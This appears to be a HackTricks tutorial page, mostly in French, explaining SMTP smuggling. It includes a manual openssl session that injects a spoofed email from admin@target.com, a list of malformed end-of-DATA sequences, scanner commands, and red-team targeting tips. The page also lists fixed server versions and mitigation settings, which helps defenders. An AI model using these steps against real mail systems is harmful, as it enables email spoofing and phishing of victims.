SMTP Smuggling

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Ce type de vulnĂ©rabilitĂ© a Ă©tĂ© originally discovered in this post oĂč il est expliquĂ© qu'il est possible d'exploiter des divergences dans la maniĂšre dont le protocole SMTP est interprĂ©tĂ© lors de la finalisation d'un e-mail, permettant Ă  un attaquant de smuggler plusieurs e-mails dans le corps du message lĂ©gitime, ce qui permet d'usurper d'autres utilisateurs du domaine affectĂ© (comme admin@outlook.com) en contournant des dĂ©fenses telles que SPF.

Pourquoi

Ceci s'explique parce que, dans le protocole SMTP, les données du message à envoyer dans l'e-mail sont contrÎlées par un utilisateur (attaquant) qui pourrait envoyer des données spécialement conçues en abusant des différences entre les parsers pour smuggler des e-mails supplémentaires chez le récepteur. Regardez cet exemple illustré tiré du post original :

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

Comment

Pour exploiter cette vulnĂ©rabilitĂ©, un attaquant doit envoyer des donnĂ©es que l'Outbound SMPT server considĂšre comme un seul e‑mail alors que l'Inbound SMTP server considĂšre qu'il y en a plusieurs.

Les chercheurs ont dĂ©couvert que diffĂ©rents Inbound servers considĂšrent diffĂ©rents caractĂšres comme la fin des donnĂ©es du message e‑mail, que les Outbound servers ne considĂšrent pas forcĂ©ment.
Par exemple, une fin de donnĂ©es rĂ©guliĂšre est \r\n.\r. Mais si l'Inbound SMTP server supporte aussi \n., un attaquant pourrait simplement ajouter ces donnĂ©es dans son e‑mail et commencer Ă  indiquer les commandes SMTP d'un nouveau message Ă  smuggler, comme dans l'image prĂ©cĂ©dente.

Évidemment, cela ne fonctionnerait que si l'Outbound SMTP server ne traite pas aussi ces donnĂ©es comme la fin des donnĂ©es du message, car dans ce cas il verrait 2 e‑mails au lieu d'un seul — c'est cette dĂ©synchronisation qui est exploitĂ©e.

Données potentielles de désynchronisation :

  • \n.
  • \n.\r

Notez aussi que SPF est contournĂ© parce que si vous smugglez un e‑mail depuis admin@outlook.com Ă  partir d'un e‑mail de user@outlook.com, l'expĂ©diteur reste outlook.com.


Liste de vĂ©rification de l'attaquant (quelles conditions doivent ĂȘtre remplies ?)

Pour smuggler avec succùs un second e‑mail, vous avez typiquement besoin de :

  • Un outbound server A que vous pouvez utiliser (souvent avec des identifiants valides) qui va transfĂ©rer une sĂ©quence de fin‑de‑DATA non standard sans la modifier. Beaucoup de services ont historiquement forwardĂ© des variantes comme \n.\r\n ou \n.\n.
  • Un receiving server B qui interprĂ©tera cette sĂ©quence non standard comme la fin de DATA puis parsera ce qui suit comme de nouvelles commandes SMTP (MAIL/RCPT/DATA...).
  • Outbound doit effectivement envoyer avec DATA (et non BDAT). Si A supporte CHUNKING/BDAT, le smuggling ne fonctionne que s'il revient Ă  DATA (par ex. si B n'annonce pas CHUNKING), sinon BDAT avec encadrement par longueur empĂȘche l'ambiguĂŻtĂ©.
  • PIPELINING n'est pas requis mais aide Ă  masquer les commandes injectĂ©es dans un seul write TCP pour que des dispositifs intermĂ©diaires ne resynchronisent pas.

Variantes communes de fin‑de‑DATA Ă  tester (dĂ©pend du receiver) :

  • \n.\n
  • \n.\r\n
  • \r.\r\n
  • \r\n.\r (CR nu Ă  la fin)

Note : Ce qui fonctionne est l'intersection de « ce que A forwarde » ∩ « ce que B accepte ».


Exemple d'exploitation manuelle (session unique)

L'exemple suivant illustre l'idée en utilisant une session STARTTLS SMTP brute. AprÚs le premier bloc DATA, nous insérons un terminateur non standard, puis un autre dialogue SMTP que le serveur récepteur peut interpréter comme un nouveau message.

Session de smuggling manuelle (STARTTLS) ``` $ openssl s_client -starttls smtp -crlf -connect smtp.example.com:587 EHLO a.example AUTH PLAIN MAIL FROM: RCPT TO: DATA From: User To: victim Subject: legit

hello A \n.\r\nMAIL FROM:admin@target.com RCPT TO:victim@target.com DATA From: Admin admin@target.com To: victim victim@target.com Subject: smuggled

hello B \r\n.\r\n

Si A transmet `\n.\r\n` et que B l'accepte comme fin‑de‑DATA, le message “hello B” peut ĂȘtre acceptĂ© comme un deuxiĂšme e‑mail provenant de `admin@target.com` tout en passant SPF (alignĂ© avec les IPs d'A).

Conseil : Lorsque vous testez en interactif, assurez‑vous d'utiliser `-crlf` afin qu'OpenSSL prĂ©serve les CRLF dans ce que vous tapez.

---

## Automation and scanners

- hannob/smtpsmug: send a message ending with multiple malformed end‑of‑DATA sequences to see what a receiver accepts.
- Exemple : `./smtpsmug -s mail.target.com -p 25 -t victim@target.com`
- The‑Login/SMTP‑Smuggling‑Tools: scanner for both inbound and outbound sides plus an analysis SMTP server to see exactly which sequences survive a sender.
- Vérification rapide (inbound) : `python3 smtp_smuggling_scanner.py victim@target.com`
- Sortant via un relais : `python3 smtp_smuggling_scanner.py YOUR@ANALYSIS.DOMAIN --outbound-smtp-server smtp.relay.com --port 587 --starttls --sender-address you@relay.com --username you@relay.com --password '...'
`

Ces outils vous aident Ă  cartographier les paires A→B oĂč le smuggling fonctionne rĂ©ellement.

---

## CHUNKING/BDAT vs DATA

- DATA uses a sentinel terminator `<CR><LF>.<CR><LF>`; any ambiguity in how CR/LF are normalized or dot‑stuffed leads to desync.
- CHUNKING (BDAT) frames the body with an exact byte length and therefore prevents classic smuggling. However, if the sender falls back to DATA (because the receiver doesn’t advertise CHUNKING), classic smuggling becomes possible again.

---

## Notes on affected software and fixes (for targeting)

- Postfix: prior to 3.9 the default tolerated bare LFs; from 3.5.23/3.6.13/3.7.9/3.8.4 admins can enable `smtpd_forbid_bare_newline`. Current recommendation is `smtpd_forbid_bare_newline = normalize` (3.8.5+/3.7.10+/3.6.14+/3.5.24+) or set to `reject` for strict RFC enforcement.
- Exim: fixed in 4.97.1 (and later) for variants relying on mixed end‑of‑DATA sequences when DATA is used. Older 4.97/4.96 may be exploitable depending on PIPELINING/CHUNKING.
- Sendmail: fixed in 8.18; older 8.17.x accepted some non‑standard terminators.
- Various libraries/servers (e.g., aiosmtpd before 1.4.5, some vendor gateways, and specific SaaS relays) had similar issues; modern versions tend to accept DATA only with strict `<CR><LF>.<CR><LF>`.

Utilisez les scanners ci‑dessus pour vĂ©rifier le comportement actuel ; de nombreux fournisseurs ont changĂ© les paramĂštres par dĂ©faut dĂ©but 2024–2025.

---

## Tips for red team ops

- Favorize large commodity senders for A (historically Exchange Online, shared hosters, etc.). If they still forward some non‑standard EOM and they’re in the victim’s SPF, your smuggled MAIL FROM will inherit their reputation.
- ÉnumĂ©rez les extensions SMTP de B : banniĂšre `EHLO` pour PIPELINING/CHUNKING ; si CHUNKING est absent vous avez de meilleures chances avec des senders BDAT‑first. Combinez avec des EOM malformĂ©s pour sonder l'acceptation.
- Surveillez les headers : le message smuggled créera généralement une chaßne Received séparée commençant à B. DMARC passera souvent parce que le MAIL FROM s'aligne avec l'espace IP d'A.

---

## **Références**

- [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
- [https://www.postfix.org/smtp-smuggling.html](https://www.postfix.org/smtp-smuggling.html)

<div class="mdbook-alerts mdbook-alerts-tip">
<p class="mdbook-alerts-title">
  <span class="mdbook-alerts-icon"></span>
  tip
</p>


Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">

<details>

<summary>Soutenir HackTricks</summary>

- Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
- **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépÎts github.

</details>

</div>